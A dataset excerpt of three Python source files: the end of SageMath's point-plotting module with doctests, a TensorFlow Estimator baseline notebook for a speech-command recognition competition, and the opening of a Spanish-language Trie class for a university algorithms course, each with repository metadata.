\"\"\"\n        Initializes base class Point.\n\n        EXAMPLES::\n\n            sage: P = point((3,4))\n            sage: P[0].xdata\n            [3.0]\n            sage: P[0].options()['alpha']\n            1\n        \"\"\"\n        self.xdata = xdata\n        self.ydata = ydata\n        GraphicPrimitive_xydata.__init__(self, options)\n\n    def _allowed_options(self):\n        \"\"\"\n        Return the allowed options for the Point class.\n\n        EXAMPLES::\n\n            sage: P = point((3,4))\n            sage: P[0]._allowed_options()['size']\n            'How big the point is (i.e., area in points^2=(1/72 inch)^2).'\n        \"\"\"\n        return {'alpha':'How transparent the point is.',\n                'faceted': 'If True color the edge of the point. (only for 2D plots)',\n                'hue':'The color given as a hue.',\n                'legend_color':'The color of the legend text',\n                'legend_label':'The label for this item in the legend.',\n                'marker':'the marker symbol for 2D plots only (see documentation of plot() for details)',\n                'markeredgecolor':'the color of the marker edge (only for 2D plots)',\n                'rgbcolor':'The color as an RGB tuple.',\n                'size': 'How big the point is (i.e., area in points^2=(1/72 inch)^2).',\n                'zorder':'The layer level in which to draw'}\n\n    def _plot3d_options(self, options=None):\n        \"\"\"\n        Translate 2D plot options into 3D plot options.\n\n        EXAMPLES::\n\n            sage: A=point((1,1),size=22)\n            sage: a=A[0];a\n            Point set defined by 1 point(s)\n            sage: b=a.plot3d()\n            sage: b.size\n            22\n            sage: b=a.plot3d(size=3)\n            sage: b.size\n            3\n        \"\"\"\n        if options is None:\n            options = dict(self.options())\n        options_3d = {}\n        if 'size' in options:\n            options_3d['size'] = options['size']\n            del options['size']\n        if options.pop('faceted', False):\n            raise NotImplementedError(\"3D points can not be faceted.\")\n        for o in ('marker', 'markeredgecolor'): # remove 2D options\n            if o in options:\n                del options[o]\n\n        options_3d.update(GraphicPrimitive_xydata._plot3d_options(self, options))\n        return options_3d\n\n    def plot3d(self, z=0, **kwds):\n        \"\"\"\n        Plots a two-dimensional point in 3-D, with default height zero.\n\n        INPUT:\n\n\n        -  ``z`` - optional 3D height above `xy`-plane.  May be a list\n           if self is a list of points.\n\n        EXAMPLES:\n\n        One point::\n\n            sage: A=point((1,1))\n            sage: a=A[0];a\n            Point set defined by 1 point(s)\n            sage: b=a.plot3d()\n\n        One point with a height::\n\n            sage: A=point((1,1))\n            sage: a=A[0];a\n            Point set defined by 1 point(s)\n            sage: b=a.plot3d(z=3)\n            sage: b.loc[2]\n            3.0\n\n        Multiple points::\n\n            sage: P=point([(0,0), (1,1)])\n            sage: p=P[0]; p\n            Point set defined by 2 point(s)\n            sage: q=p.plot3d(size=22)\n\n        Multiple points with different heights::\n\n            sage: P=point([(0,0), (1,1)])\n            sage: p=P[0]\n            sage: q=p.plot3d(z=[2,3])\n            sage: q.all[0].loc[2]\n            2.0\n            sage: q.all[1].loc[2]\n            3.0\n\n        Note that keywords passed must be valid point3d options::\n\n            sage: A=point((1,1),size=22)\n            sage: a=A[0];a\n            Point set defined by 1 point(s)\n            sage: b=a.plot3d()\n            sage: b.size\n            22\n            sage: b=a.plot3d(pointsize=23) # only 2D valid option\n            sage: b.size\n            22\n            sage: b=a.plot3d(size=23) # correct keyword\n            sage: b.size\n            23\n\n        TESTS:\n\n        Heights passed as a list should have same length as\n        number of points::\n\n            sage: P=point([(0,0), (1,1), (2,3)])\n            sage: p=P[0]\n            sage: q=p.plot3d(z=2)\n            sage: q.all[1].loc[2]\n            2.0\n            sage: q=p.plot3d(z=[2,-2])\n            Traceback (most recent call last):\n            ...\n            ValueError: Incorrect number of heights given\n        \"\"\"\n        from sage.plot.plot3d.base import Graphics3dGroup\n        from sage.plot.plot3d.shapes2 import point3d\n        options = self._plot3d_options()\n        options.update(kwds)\n        zdata=[]\n        if isinstance(z, list):\n            zdata=z\n        else:\n            zdata=[z]*len(self.xdata)\n        if len(zdata)==len(self.xdata):\n            all = [point3d([(x, y, z) for x, y, z in zip(self.xdata, self.ydata, zdata)], **options)]\n            if len(all) == 1:\n                return all[0]\n            else:\n                return Graphics3dGroup(all)\n        else:\n            raise ValueError('Incorrect number of heights given')\n\n    def _repr_(self):\n        \"\"\"\n        String representation of Point primitive.\n\n        EXAMPLES::\n\n            sage: P=point([(0,0), (1,1)])\n            sage: p=P[0]; p\n            Point set defined by 2 point(s)\n        \"\"\"\n        return \"Point set defined by %s point(s)\"%len(self.xdata)\n\n    def __getitem__(self, i):\n        \"\"\"\n        Returns tuple of coordinates of point.\n\n        EXAMPLES::\n\n            sage: P=point([(0,0), (1,1), (2,3)])\n            sage: p=P[0]; p\n            Point set defined by 3 point(s)\n            sage: p[1]\n            (1.0, 1.0)\n        \"\"\"\n        return self.xdata[i], self.ydata[i]\n\n    def _render_on_subplot(self,subplot):\n        r\"\"\"\n        TESTS:\n\n        We check to make sure that :trac:`2076` is fixed by verifying all\n        the points are red::\n\n            sage: point(((1,1), (2,2), (3,3)), rgbcolor=hue(1), size=30)\n            Graphics object consisting of 1 graphics primitive\n        \"\"\"\n        options = self.options()\n\n        #Convert the color to a hex string so that the scatter\n        #method does not interpret it as a list of 3 floating\n        #point color specifications when there are\n        #three points. This is mentioned in the matplotlib 0.98\n        #documentation and fixes \\#2076\n        from matplotlib.colors import rgb2hex\n        c = rgb2hex(to_mpl_color(options['rgbcolor']))\n\n        a = float(options['alpha'])\n        z = int(options.pop('zorder', 0))\n        s = int(options['size'])\n        faceted = options['faceted'] #faceted=True colors the edge of point\n        markeredgecolor = options['markeredgecolor']\n\n        scatteroptions={}\n        if not faceted and markeredgecolor is None:\n            scatteroptions['edgecolors'] = 'none'\n        elif markeredgecolor is not None:\n            scatteroptions['edgecolors'] = to_mpl_color(\n                                              options.pop('markeredgecolor'))\n        scatteroptions['marker'] = options.pop('marker')\n\n        subplot.scatter(self.xdata, self.ydata, s=s, c=c, alpha=a, zorder=z,\n                        label=options['legend_label'], **scatteroptions)\n\n\ndef point(points, **kwds):\n    \"\"\"\n    Returns either a 2-dimensional or 3-dimensional point or sum of points.\n\n    INPUT:\n\n    -  ``points`` - either a single point (as a tuple), a list of\n       points, a single complex number, or a list of complex numbers.\n\n    For information regarding additional arguments, see either point2d?\n    or point3d?.\n\n    .. SEEALSO::\n\n        :func:`sage.plot.point.point2d`, :func:`sage.plot.plot3d.shapes2.point3d`\n\n    EXAMPLES::\n\n        sage: point((1,2))\n        Graphics object consisting of 1 graphics primitive\n\n    ::\n\n        sage: point((1,2,3))\n        Graphics3d Object\n\n    ::\n\n        sage: point([(0,0), (1,1)])\n        Graphics object consisting of 1 graphics primitive\n\n    ::\n\n        sage: point([(0,0,1), (1,1,1)])\n        Graphics3d Object\n\n    Extra options will get passed on to show(), as long as they are valid::\n\n        sage: point([(cos(theta), sin(theta)) for theta in srange(0, 2*pi, pi/8)], frame=True)\n        Graphics object consisting of 1 graphics primitive\n        sage: point([(cos(theta), sin(theta)) for theta in srange(0, 2*pi, pi/8)]).show(frame=True) # These are equivalent\n\n    TESTS:\n\n    One can now use iterators (:trac:`13890`)::\n\n        sage: point(iter([(1,1,1)]))\n        Graphics3d Object\n        sage: point(iter([(1,2),(3,5)]))\n        Graphics object consisting of 1 graphics primitive\n    \"\"\"\n    if isinstance(points, collections.Iterator):\n        points = list(points)\n\n    try:\n        return point2d(points, **kwds)\n    except (ValueError, TypeError):\n        from sage.plot.plot3d.shapes2 import point3d\n        return point3d(points, **kwds)\n\n@rename_keyword(color='rgbcolor', pointsize='size')\n@options(alpha=1, aspect_ratio='automatic', faceted=False,\n        legend_color=None, legend_label=None, marker='o',\n        markeredgecolor=None, rgbcolor=(0,0,1), size=10)\ndef point2d(points, **options):\n    r\"\"\"\n    A point of size ``size`` defined by point = `(x,y)`.\n\n    INPUT:\n\n    -  ``points`` - either a single point (as a tuple), a list of\n       points, a single complex number, or a list of complex numbers.\n    - ``alpha`` -- How transparent the point is.\n    - ``faceted`` -- If True color the edge of the point. (only for 2D plots)\n    - ``hue`` -- The color given as a hue.\n    - ``legend_color`` -- The color of the legend text\n    - ``legend_label`` -- The label for this item in the legend.\n    - ``marker`` -- the marker symbol for 2D plots only (see documentation of\n      :func:`plot` for details)\n    - ``markeredgecolor`` -- the color of the marker edge (only for 2D plots)\n    - ``rgbcolor`` -- The color as an RGB tuple.\n    - ``size`` -- How big the point is (i.e., area in points^2=(1/72 inch)^2).\n    - ``zorder`` -- The layer level in which to draw\n\n    EXAMPLES:\n\n    A purple point from a single tuple or coordinates::\n\n        sage: point((0.5, 0.5), rgbcolor=hue(0.75))\n        Graphics object consisting of 1 graphics primitive\n\n    Points with customized markers and edge colors::\n\n        sage: r = [(random(), random()) for _ in range(10)]\n        sage: point(r, marker='d', markeredgecolor='red', size=20)\n        Graphics object consisting of 1 graphics primitive\n\n    Passing an empty list returns an empty plot::\n\n        sage: point([])\n        Graphics object consisting of 0 graphics primitives\n        sage: import numpy; point(numpy.array([]))\n        Graphics object consisting of 0 graphics primitives\n\n    If you need a 2D point to live in 3-space later, this is possible::\n\n        sage: A=point((1,1))\n        sage: a=A[0];a\n        Point set defined by 1 point(s)\n        sage: b=a.plot3d(z=3)\n\n    This is also true with multiple points::\n\n        sage: P=point([(0,0), (1,1)])\n        sage: p=P[0]\n        sage: q=p.plot3d(z=[2,3])\n\n    Here are some random larger red points, given as a list of tuples::\n\n        sage: point(((0.5, 0.5), (1, 2), (0.5, 0.9), (-1, -1)), rgbcolor=hue(1), size=30)\n        Graphics object consisting of 1 graphics primitive\n\n    And an example with a legend::\n\n        sage: point((0,0), rgbcolor='black', pointsize=40, legend_label='origin')\n        Graphics object consisting of 1 graphics primitive\n\n    The legend can be colored::\n\n        sage: P = points([(0,0),(1,0)], pointsize=40, legend_label='origin', legend_color='red')\n        sage: P + plot(x^2,(x,0,1), legend_label='plot', legend_color='green')\n        Graphics object consisting of 2 graphics primitives\n\n    Extra options will get passed on to show(), as long as they are valid::\n\n        sage: point([(cos(theta), sin(theta)) for theta in srange(0, 2*pi, pi/8)], frame=True)\n        Graphics object consisting of 1 graphics primitive\n        sage: point([(cos(theta), sin(theta)) for theta in srange(0, 2*pi, pi/8)]).show(frame=True) # These are equivalent\n\n    For plotting data, we can use a logarithmic scale, as long as we are sure\n    not to include any nonpositive points in the logarithmic direction::\n\n        sage: point([(1,2),(2,4),(3,4),(4,8),(4.5,32)],scale='semilogy',base=2)\n        Graphics object consisting of 1 graphics primitive\n\n    Since Sage Version 4.4 (:trac:`8599`), the size of a 2d point can be\n    given by the argument ``size`` instead of ``pointsize``. The argument\n    ``pointsize`` is still supported::\n\n        sage: point((3,4), size=100)\n        Graphics object consisting of 1 graphics primitive\n\n    ::\n\n        sage: point((3,4), pointsize=100)\n        Graphics object consisting of 1 graphics primitive\n\n    We can plot a single complex number::\n\n        sage: point(CC(1+I), pointsize=100)\n        Graphics object consisting of 1 graphics primitive\n\n    We can also plot a list of complex numbers::\n\n        sage: point([CC(I), CC(I+1), CC(2+2*I)], pointsize=100)\n        Graphics object consisting of 1 graphics primitive\n\n    \"\"\"\n    from sage.plot.plot import xydata_from_point_list\n    from sage.plot.all import Graphics\n    from sage.rings.all import CC, CDF\n    if points in CC or points in CDF:\n        pass\n    else:\n        try:\n            l = len(points)\n        except TypeError:\n            # argument is an iterator\n            points = list(points)\n            l = len(points)\n\n        if l == 0:\n            return Graphics()\n\n    xdata, ydata = xydata_from_point_list(points)\n    g = Graphics()\n    g._set_extra_kwds(Graphics._extract_kwds_for_show(options))\n    g.add_primitive(Point(xdata, ydata, options))\n    if options['legend_label']:\n        g.legend(True)\n        g._legend_colors = [options['legend_color']]\n    return g\n\npoints = point\n", "meta": {"hexsha": "fbd64ebb6d694fdc48f83adacfed0987c8601933", "size": 15850, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/sage/plot/point.py", "max_stars_repo_name": "switzel/sage", "max_stars_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sage/plot/point.py", "max_issues_repo_name": "switzel/sage", "max_issues_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/plot/point.py", "max_forks_repo_name": "switzel/sage", "max_forks_repo_head_hexsha": "7eb8510dacf61b691664cd8f1d2e75e5d473e5a0", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-07-24T12:20:37.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-24T12:20:37.000Z", "avg_line_length": 32.4130879346, "max_line_length": 122, "alphanum_fraction": 0.5712302839, "include": true, "reason": "import numpy,from sage", "num_tokens": 4064, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906266262437, "lm_q2_score": 0.10970576369015277, "lm_q1q2_score": 0.05142903370481733}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # This is a TF Estimator end-to-end baseline solution\n# \n# **For local run**\n# \n# Tested with\n# \n# ```\n# numpy==1.13.3\n# scipy==0.19.1\n# tensorflow-gpu==1.4.0\n# tqdm\n# ```\n# \n# \n# I want to show usage of Estimators with custom python datagenerators.\n# \n# \n# Detailed documentation you can find at https://www.tensorflow.org/api_docs/python/tf/estimator/Estimator\n# \n# I also recommend to read source code  https://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/estimator/estimator.py\n\n# Suppose we have following project structure:\n# ```\n# .\n# \u251c\u2500\u2500 data\n# \u2502   \u251c\u2500\u2500 test            # extracted\n# \u2502   \u2502   \u2514\u2500\u2500 audio          # all test\n# \u2502   \u251c\u2500\u2500 test.7z         # downloaded\n# \u2502   \u251c\u2500\u2500 train           # extracted\n# \u2502   \u2502   \u251c\u2500\u2500 audio          # folder with all train command/file.wav\n# \u2502   \u2502   \u251c\u2500\u2500 LICENSE\n# \u2502   \u2502   \u251c\u2500\u2500 README.md\n# \u2502   \u2502   \u251c\u2500\u2500 testing_list.txt\n# \u2502   \u2502   \u2514\u2500\u2500 validation_list.txt\n# \u2502   \u2514\u2500\u2500 train.7z         # downloaded\n# \u251c\u2500\u2500 kernel.ipynb      # this ipynb  \n# \u2514\u2500\u2500 model-k           # folder for model, checkpoints, logs and submission.csv\n# ```\n\n# In[1]:\n\n\nDATADIR = './data' # unzipped train and test data\nOUTDIR = './model-k' # just a random name\n# Data Loading\nimport os\nimport re\nfrom glob import glob\n\n\nPOSSIBLE_LABELS = 'yes no up down left right on off stop go silence unknown'.split()\nid2name = {i: name for i, name in enumerate(POSSIBLE_LABELS)}\nname2id = {name: i for i, name in id2name.items()}\n\n\ndef load_data(data_dir):\n    \"\"\" Return 2 lists of tuples:\n    [(class_id, user_id, path), ...] for train\n    [(class_id, user_id, path), ...] for validation\n    \"\"\"\n    # Just a simple regexp for paths with three groups:\n    # prefix, label, user_id\n    pattern = re.compile(\"(.+\\/)?(\\w+)\\/([^_]+)_.+wav\")\n    all_files = glob(os.path.join(data_dir, 'train/audio/*/*wav'))\n\n    with open(os.path.join(data_dir, 'train/validation_list.txt'), 'r') as fin:\n        validation_files = fin.readlines()\n    valset = set()\n    for entry in validation_files:\n        r = re.match(pattern, entry)\n        if r:\n            valset.add(r.group(3))\n\n    possible = set(POSSIBLE_LABELS)\n    train, val = [], []\n    for entry in all_files:\n        r = re.match(pattern, entry)\n        if r:\n            label, uid = r.group(2), r.group(3)\n            if label == '_background_noise_':\n                label = 'silence'\n            if label not in possible:\n                label = 'unknown'\n\n            label_id = name2id[label]\n\n            sample = (label_id, uid, entry)\n            if uid in valset:\n                val.append(sample)\n            else:\n                train.append(sample)\n\n    print('There are {} train and {} val samples'.format(len(train), len(val)))\n    return train, val\n\ntrainset, valset = load_data(DATADIR)\n\n\n# Let me introduce pythonic datagenerator.\n# It is just a python/numpy/... function **without tf** that yields dicts such that\n# ```\n# {\n#   'x': np.array(...),\n#   'str_key': np.string_(...),\n#   'label': np.int32(...),\n# }\n# ```\n# \n# Be sure, every value in this dict has `.dtype` method.\n\n# In[2]:\n\n\nimport numpy as np\nfrom scipy.io import wavfile\n\ndef data_generator(data, params, mode='train'):\n    def generator():\n        if mode == 'train':\n            np.random.shuffle(data)\n        # Feel free to add any augmentation\n        for (label_id, uid, fname) in data:\n            try:\n                _, wav = wavfile.read(fname)\n                wav = wav.astype(np.float32) / np.iinfo(np.int16).max\n\n                L = 16000  # be aware, some files are shorter than 1 sec!\n                if len(wav) < L:\n                    continue\n                # let's generate more silence!\n                samples_per_file = 1 if label_id != name2id['silence'] else 20\n                for _ in range(samples_per_file):\n                    if len(wav) > L:\n                        beg = np.random.randint(0, len(wav) - L)\n                    else:\n                        beg = 0\n                    yield dict(\n                        target=np.int32(label_id),\n                        wav=wav[beg: beg + L],\n                    )\n            except Exception as err:\n                print(err, label_id, uid, fname)\n\n    return generator\n\n\n# \n# Suppose, we have spectrograms and want to write feature extractor that produces logits.\n# \n# \n# Let's write some simple net, treat sound as a picture.\n# \n# \n# **Spectrograms** (input x) have shape `(batch_size, time_frames, freq_bins, 2)`.\n# \n# **Logits** is a tensor with shape `(batch_size, num_classes)`.\n\n# In[3]:\n\n\nimport tensorflow as tf\nfrom tensorflow.contrib import layers\n\ndef baseline(x, params, is_training):\n    x = layers.batch_norm(x, is_training=is_training)\n    for i in range(4):\n        x = layers.conv2d(\n            x, 16 * (2 ** i), 3, 1,\n            activation_fn=tf.nn.elu,\n            normalizer_fn=layers.batch_norm if params.use_batch_norm else None,\n            normalizer_params={'is_training': is_training}\n        )\n        x = layers.max_pool2d(x, 2, 2)\n\n    # just take two kind of pooling and then mix them, why not :)\n    mpool = tf.reduce_max(x, axis=[1, 2], keep_dims=True)\n    apool = tf.reduce_mean(x, axis=[1, 2], keep_dims=True)\n\n    x = 0.5 * (mpool + apool)\n    # we can use conv2d 1x1 instead of dense\n    x = layers.conv2d(x, 128, 1, 1, activation_fn=tf.nn.elu)\n    x = tf.nn.dropout(x, keep_prob=params.keep_prob if is_training else 1.0)\n    \n    # again conv2d 1x1 instead of dense layer\n    logits = layers.conv2d(x, params.num_classes, 1, 1, activation_fn=None)\n    return tf.squeeze(logits, [1, 2])\n\n\n# We need to write a model handler for three regimes:\n# - train\n# - eval\n# - predict\n# \n# Loss function, train_op, additional metrics and summaries should be defined.\n# \n# Also, we need to convert sound waveform into spectrograms (we could do it with numpy/scipy/librosa in data generator, but TF has new signal processing API)\n\n# In[4]:\n\n\nfrom tensorflow.contrib import signal\n\n# features is a dict with keys: tensors from our datagenerator\n# labels also were in features, but excluded in generator_input_fn by target_key\n\ndef model_handler(features, labels, mode, params, config):\n    # Im really like to use make_template instead of variable_scopes and re-usage\n    extractor = tf.make_template(\n        'extractor', baseline,\n        create_scope_now_=True,\n    )\n    # wav is a waveform signal with shape (16000, )\n    wav = features['wav']\n    # we want to compute spectograms by means of short time fourier transform:\n    specgram = signal.stft(\n        wav,\n        400,  # 16000 [samples per second] * 0.025 [s] -- default stft window frame\n        160,  # 16000 * 0.010 -- default stride\n    )\n    # specgram is a complex tensor, so split it into abs and phase parts:\n    phase = tf.angle(specgram) / np.pi\n    # log(1 + abs) is a default transformation for energy units\n    amp = tf.log1p(tf.abs(specgram))\n    \n    x = tf.stack([amp, phase], axis=3) # shape is [bs, time, freq_bins, 2]\n    x = tf.to_float(x)  # we want to have float32, not float64\n\n    logits = extractor(x, params, mode == tf.estimator.ModeKeys.TRAIN)\n\n    if mode == tf.estimator.ModeKeys.TRAIN:\n        loss = tf.reduce_mean(\n            tf.nn.sparse_softmax_cross_entropy_with_logits(labels=labels, logits=logits))\n        # some lr tuner, you could use move interesting functions\n        def learning_rate_decay_fn(learning_rate, global_step):\n            return tf.train.exponential_decay(\n                learning_rate, global_step, decay_steps=10000, decay_rate=0.99)\n\n        train_op = tf.contrib.layers.optimize_loss(\n            loss=loss,\n            global_step=tf.contrib.framework.get_global_step(),\n            learning_rate=params.learning_rate,\n            optimizer=lambda lr: tf.train.MomentumOptimizer(lr, 0.9, use_nesterov=True),\n            learning_rate_decay_fn=learning_rate_decay_fn,\n            clip_gradients=params.clip_gradients,\n            variables=tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES))\n\n        specs = dict(\n            mode=mode,\n            loss=loss,\n            train_op=train_op,\n        )\n\n    if mode == tf.estimator.ModeKeys.EVAL:\n        prediction = tf.argmax(logits, axis=-1)\n        acc, acc_op = tf.metrics.mean_per_class_accuracy(\n            labels, prediction, params.num_classes)\n        loss = tf.reduce_mean(\n            tf.nn.sparse_softmax_cross_entropy_with_logits(labels=labels, logits=logits))\n        specs = dict(\n            mode=mode,\n            loss=loss,\n            eval_metric_ops=dict(\n                acc=(acc, acc_op),\n            )\n        )\n\n    if mode == tf.estimator.ModeKeys.PREDICT:\n        predictions = {\n            'label': tf.argmax(logits, axis=-1),  # for probability just take tf.nn.softmax()\n            'sample': features['sample'], # it's a hack for simplicity\n        }\n        specs = dict(\n            mode=mode,\n            predictions=predictions,\n        )\n    return tf.estimator.EstimatorSpec(**specs)\n\n\ndef create_model(config=None, hparams=None):\n    return tf.estimator.Estimator(\n        model_fn=model_handler,\n        config=config,\n        params=hparams,\n    )\n\n\n# Define some params. Move model hyperparams (optimizer, extractor, num of layers, activation fn, ...) here\n\n# In[5]:\n\n\nparams=dict(\n    seed=2018,\n    batch_size=64,\n    keep_prob=0.5,\n    learning_rate=1e-3,\n    clip_gradients=15.0,\n    use_batch_norm=True,\n    num_classes=len(POSSIBLE_LABELS),\n)\n\nhparams = tf.contrib.training.HParams(**params)\nos.makedirs(os.path.join(OUTDIR, 'eval'), exist_ok=True)\nmodel_dir = OUTDIR\n\nrun_config = tf.contrib.learn.RunConfig(model_dir=model_dir)\n\n\n# **Let's run training!**\n\n# In[6]:\n\n\n# it's a magic function :)\nfrom tensorflow.contrib.learn.python.learn.learn_io.generator_io import generator_input_fn\n            \ntrain_input_fn = generator_input_fn(\n    x=data_generator(trainset, hparams, 'train'),\n    target_key='target',  # you could leave target_key in features, so labels in model_handler will be empty\n    batch_size=hparams.batch_size, shuffle=True, num_epochs=None,\n    queue_capacity=3 * hparams.batch_size + 10, num_threads=1,\n)\n\nval_input_fn = generator_input_fn(\n    x=data_generator(valset, hparams, 'val'),\n    target_key='target',\n    batch_size=hparams.batch_size, shuffle=True, num_epochs=None,\n    queue_capacity=3 * hparams.batch_size + 10, num_threads=1,\n)\n            \n\ndef _create_my_experiment(run_config, hparams):\n    exp = tf.contrib.learn.Experiment(\n        estimator=create_model(config=run_config, hparams=hparams),\n        train_input_fn=train_input_fn,\n        eval_input_fn=val_input_fn,\n        train_steps=10000, # just randomly selected params\n        eval_steps=200,  # read source code for steps-epochs ariphmetics\n        train_steps_per_iteration=1000,\n    )\n    return exp\n\ntf.contrib.learn.learn_runner.run(\n    experiment_fn=_create_my_experiment,\n    run_config=run_config,\n    schedule=\"continuous_train_and_eval\",\n    hparams=hparams)\n\n\n# \n# While it trains (~10-20min on i5 + 1080), you could start tensorboard on model_dir and see live chart like this\n# \n# ![Tensorboard](https://pp.userapi.com/c841329/v841329524/3db60/fdNDyRMJHMQ.jpg)\n# \n# \n# Now we want to predict testset and make submission file.\n# \n# 1. Create datagenerator and input_function\n# 2. Load model\n# 3. Iterate over predictions and store results\n\n# In[7]:\n\n\nfrom tqdm import tqdm\n# now we want to predict!\npaths = glob(os.path.join(DATADIR, 'test/audio/*wav'))\n\ndef test_data_generator(data):\n    def generator():\n        for path in data:\n            _, wav = wavfile.read(path)\n            wav = wav.astype(np.float32) / np.iinfo(np.int16).max\n            fname = os.path.basename(path)\n            yield dict(\n                sample=np.string_(fname),\n                wav=wav,\n            )\n\n    return generator\n\ntest_input_fn = generator_input_fn(\n    x=test_data_generator(paths),\n    batch_size=hparams.batch_size, \n    shuffle=False, \n    num_epochs=1,\n    queue_capacity= 10 * hparams.batch_size, \n    num_threads=1,\n)\n\nmodel = create_model(config=run_config, hparams=hparams)\nit = model.predict(input_fn=test_input_fn)\n\n\n# last batch will contain padding, so remove duplicates\nsubmission = dict()\nfor t in tqdm(it):\n    fname, label = t['sample'].decode(), id2name[t['label']]\n    submission[fname] = label\n\nwith open(os.path.join(model_dir, 'submission.csv'), 'w') as fout:\n    fout.write('fname,label\\n')\n    for fname, label in submission.items():\n        fout.write('{},{}\\n'.format(fname, label))\n\n\n# ## About tf.Estimators\n# \n# **Pros**:\n# - no need to control Session\n# - datagenerator feeds model via queues without explicit queue coding :)\n# - you could naturaly export models into production\n#     \n# **Cons**:\n# - it's very hard to debug computational graph (use `tf.add_check_numerics()` and `tf.Print` in case of problems)\n# - boilerplate code\n# - need to read source code for making interesting things\n# \n# \n# **Conclusion**:\n# Estimator is a nice abstraction with some boilerplate code :)\n# \n# \n# ## About Speech Recognition Challenge:\n# \n# You could start from this end-to-end ipynb, improving several functions for much better results.\n# \n# \n# \n# May the gradient flow be with you. \n\n# In[8]:\n\n\n\n\n", "meta": {"hexsha": "10b6ef6ba7b6bbed958a29a1214e9197edfec415", "size": 13248, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/featured-70/end-to-end-baseline-tf-estimator-lb-0-72.py", "max_stars_repo_name": "anonymous-authorss/DS-Pipeline", "max_stars_repo_head_hexsha": "8304adfe7c1b082ad2225d6d5abf16fd30278cd9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/featured-70/end-to-end-baseline-tf-estimator-lb-0-72.py", "max_issues_repo_name": "anonymous-authorss/DS-Pipeline", "max_issues_repo_head_hexsha": "8304adfe7c1b082ad2225d6d5abf16fd30278cd9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/featured-70/end-to-end-baseline-tf-estimator-lb-0-72.py", "max_forks_repo_name": "anonymous-authorss/DS-Pipeline", "max_forks_repo_head_hexsha": "8304adfe7c1b082ad2225d6d5abf16fd30278cd9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.1090909091, "max_line_length": 157, "alphanum_fraction": 0.6313405797, "include": true, "reason": "import numpy,from scipy", "num_tokens": 3352, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.11436853523769844, "lm_q1q2_score": 0.051396377350344996}}
{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#  ALT_library.py\n#  \n#  Copyright 2020: Profesores de Algor\u00edtmica (UPV, GII/ETSINF)\n\nimport collections\nimport numpy as np\n\nclass Trie:\n    \"\"\"\n    Clase que implementa un Trie para almacenar el vocabulario\n    \"\"\"\n\n    def __init__(self, vocabulary):\n        \"\"\"M\u00e9todo constructor de la clase Trie.\n\n        Llama al m\u00e9todo build_trie para crear el trie a partir de un vocabulario de t\u00e9rminos.\n\n        Args:\n            vocabulary (list of str): Vocabulario de t\u00e9rminos.\n                Ejemplo: [\"aa\",\"ac\",\"bb\",\"c\",\"cab\",\"cac\", \"a\u00e1\", \"a\u00e0\"].\n                Los t\u00e9rminos deben estar ordenados lexicogr\u00e1ficamente (sort() o sorted())\n\n        Raises:\n            Exception: si el vocabulario no es una lista de cadenas ordenada lexicogr\u00e1ficamente.\n        \"\"\"\n        \n        if not (isinstance(vocabulary,list) and\n                all(isinstance(w, str) and len(w) > 0 for w in vocabulary) and\n                all(w1 < w2 for w1, w2 in zip(vocabulary, vocabulary[1:]))):\n            raise Exception(\"vocabulario incorrecto\")\n\n        self.vocabulary = vocabulary # nos quedamos una referencia, esto podr\u00eda dar problemas\n                                     # si m\u00e1s adelante alguien cambia dicha lista, \u00a1cuidado!\n                                     # una alternativa ser\u00eda hacer copia local pero ocupa m\u00e1s espacio\n                                     # si varios objetos van a compartir el vocabulario sin modificarlo\n        self.build_trie() # construimos el Trie propiamente dicho\n\n    def build_trie(self):\n        \"\"\"M\u00e9todo para construir el trie.\n\n        Crea los atributos que representan el trie (trasparencias 34-38 del bolet\u00edn de pr\u00e1cticas):\n\n            label (np.array of unicode symbols): cada posici\u00f3n i del array contiene\n                el s\u00edmbolo/letra/car\u00e1cter/unicode_rune asociado al nodo i del trie.\n\n            firstchild (np.array of int): cada posici\u00f3n i del array contiene\n                el \u00edndice del PRIMER hijo del nodo i del trie.\n                La idea es que puedes recorrer todos los hijos de i haciendo un bucle\n                en range(self.firstchild[i], self.firstchild[i+1])\n                Se utiliza para programaci\u00f3n din\u00e1mica hacia adelante (consultar a d\u00f3nde vas)\n\n            parent (np.array of int): cada posici\u00f3n i del array contiene\n                el padre del nodo i. El nodo raiz y el centinela comparten otro nodo ficticio\n                como padre (-1).\n                Se utiliza para programaci\u00f3n din\u00e1mica hacia atr\u00e1s (consultar de d\u00f3nde vienes)\n\n            output es un diccionario que a los nodos finales les asocia la cadena que se emite\n                la forma de saber si un nodo i es final es comprobar que i es una clave de este\n                diccionario.\n        \"\"\"\n        \n        label = []     # lista python, despu\u00e9s self.label un array numpy\n        firstchild = [] # lista python, despu\u00e9s self.firstchild un array numpy\n        parent = []     # lista python, despu\u00e9s self.parent array numpy\n        self.output = {} # diccionario asocia a cada nodo final una palabra del vocabulario\n        label.append(\" \")   # asociado al nodo ra\u00edz\n        firstchild.append(1) # asociado al nodo ra\u00edz\n        